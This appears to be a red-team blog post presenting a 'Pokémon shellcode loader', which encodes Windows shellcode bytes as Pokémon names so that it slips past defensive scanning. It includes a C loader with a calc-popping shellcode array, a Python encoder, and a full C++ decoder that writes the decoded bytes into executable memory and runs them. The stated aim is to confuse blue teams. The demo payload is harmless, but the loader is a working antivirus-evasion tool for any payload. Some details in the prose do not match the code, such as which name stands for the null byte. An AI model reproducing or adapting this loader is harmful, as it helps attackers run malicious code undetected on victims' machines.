Pokémon Shellcode Loader

You can also view this via GitBooks: https://techryptic.gitbook.io/pokemon-shellcode

A tweet came in from @Checkymander about creating a shellcode loader from Pokémon names. Awesome fun project to mess with blue team, but there wasn't a POC! (or at least when I last checked)

Let's Load Some Instructions

There are multiple ways to do this, here is a decent way:

If we look at a shellcode, it's a series of hex from 0x00-0xFF, or in decimal form of 0-256. There happens to be way more than 256 Pokemon that we can choose from.

From looking at the Pokemon chart above, we can translate BULBASAUR, who is #001 to 0x01 (dropping the first zero). Likewise, CHARMANDER will be represented by 0x04 and so on. Lucky null byte 0x00 can be aligned to Pokemon #257, BLAZIKEN!

Converting shellcode too Pokemon-Shellcode is simple, how about converted Pokmeon-Shellcode to Assembly?! Do we want to have an Array within the .ASM? C code? Pull it down externally?

Many directions to go down!

To Array or not to Array

We need data first, I found two areas that contain both the number of the Pokemon and their name:

https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6

and another one, that only have the name of the Pokemon. This might be more useful because we can get the array index position for a particular pokemon without carrying over a long string.

https://github.com/sindresorhus/pokemon/blob/main/data/en.json

What's the baseline?

Taking a regular POP CALC shellcode and throwing some C's at it.

#include <windows.h>

void main() {
    void* exec;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    // Shellcode
    unsigned char payload[] =
		"\x50\x53\x51\x52\x56\x57\x55\x89"
		"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
		"\x63\x66\x68\x78\x65\x68\x57\x69"
		"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
		"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
		"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
		"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
		"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
		"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
		"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
		"\x50\x1c\x01\xda\x89\x55\xec\x8b"
		"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
		"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
		"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
		"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
		"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
		"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
		"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
		"\x31\xd2\x52\x68\x2e\x65\x78\x65"
		"\x68\x63\x61\x6c\x63\x68\x6d\x33"
		"\x32\x5c\x68\x79\x73\x74\x65\x68"
		"\x77\x73\x5c\x53\x68\x69\x6e\x64"
		"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
		"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
		"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
    unsigned int payload_len = 205;
    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(exec, payload, payload_len);
    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, -1);
}

Not bad, it's not doing anything malicious, but still... not bad.

Shellcode -> Pokemon_Shellcode

Pretty simple script that converts a shellcode byte Object into the Pokémon Shellcode.

import json

shellcode = (b"\x41\x42\x20\x43")

#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
	Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))

Taking the shellcode above:

\x00\x31\xc0\x50\x68\x2f\x2F

Converts to:

Fun Fact: I wanted to keep the Pokemon name aligned with their number (BULBASAUR = #1, or 0x01), thus needed to fill 0x00/null byte with something. What's better fitting than MISSINGNO?!

Another issue, is that the Pokemon Farfetch'd has an apostrophe as shown below. The easy fix is just to remove it and call it: Farfetchd

Finally, there are also two Pokémon that share the same name once you remove the symbols, the fix for those two was to append an F (for female), and for the other append an M (for male).

C++ Function

#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;

// Created by: Techryptic
// @Tech

string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);

int main()
{
    string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };

    /// Do not edit below
    string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };

    int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
    int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
    //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
    //assumtion that all poke_shellcode elements exist in pokemon
    int* index = new int[size2];
    int index_counter = 0;
    for (int i = 0; i < size2; i++) {                           //reading poke_shellcode element one by one
        for (int j = 0; j < size1; j++) {                       //reading pokemon element one by one
            if (poke_shellcode[i].compare(pokemon[j]) == 0) {   //both strings are equal
                index[index_counter] = j;                       //saving index
                index_counter++;
                break;                                          //stoping inner loop
            }
        }
    }
    //for storing hex values of indexes
    unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
    int counter_s = 0;
    for (int i = 0; i < index_counter; i++) {
        string value = "";
        value += "\\x";
        if (index[i] < 10) {
            value += "0";
        }
        value += indexNumberToHexa(index[i]);  //converting each index to hexa and inserting in array
        for (int k = 0; k < (int)value.length(); k++) {
            index_to_hexa_array[counter_s] = value[k];
            counter_s++;
        }
    }
    std::string payload;
    index_to_hexa_array[counter_s] = '\0';
    printAscii(index_to_hexa_array, counter_s);

    delete[]index; //freeing memory
    delete[]index_to_hexa_array;
    index = nullptr;  //reseting the index pointer
    index_to_hexa_array = nullptr;
    return 0;
}

void reverse_String(string& str, int last_index, int starting_index) {
    if (last_index <= starting_index) { return; }
    swap(str[starting_index], str[last_index]);
    reverse_String(str, last_index - 1, starting_index + 1);
}
string indexNumberToHexa(int number) {
    string hexavalue = "";
    while (number != 0) {
        int remainder = number % 16;
        if (remainder < 10) {   //number 0-9
            hexavalue += remainder + 48;
        }
        else {//alphabet A-F
            hexavalue += remainder + 55; //converting number to alphabet
        }
        number = number / 16;
    }
    reverse_String(hexavalue, hexavalue.length() - 1, 0);
    return (hexavalue != "" ? hexavalue : "0");
}
void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
    string sc;
    for (int i = 2; i < counter_s; i++) {
        if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
            string vt; // hex ex: 01
            vt.push_back(index_to_hexa_array[i]);
            vt.push_back(index_to_hexa_array[i + 1]);
            //cout << (char)stoul(vt, nullptr, 16);
            unsigned char n = (char)stoul(vt, nullptr, 16);
            sc += n;
            i++;
        }
    }
    sc += '\0'; // adding nullbyte to string to mimic array
    //std::cout << "The size is " << sc.size() << " bytes.\n";
    DWORD oldprotect = 0;
    void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, sc.c_str(), sc.size());
    ((void(*)())exec)();
}

Conclusion

That, that's the conclusion.

Same code but with using pokemon yield a way better result than I thought it would.

Last updated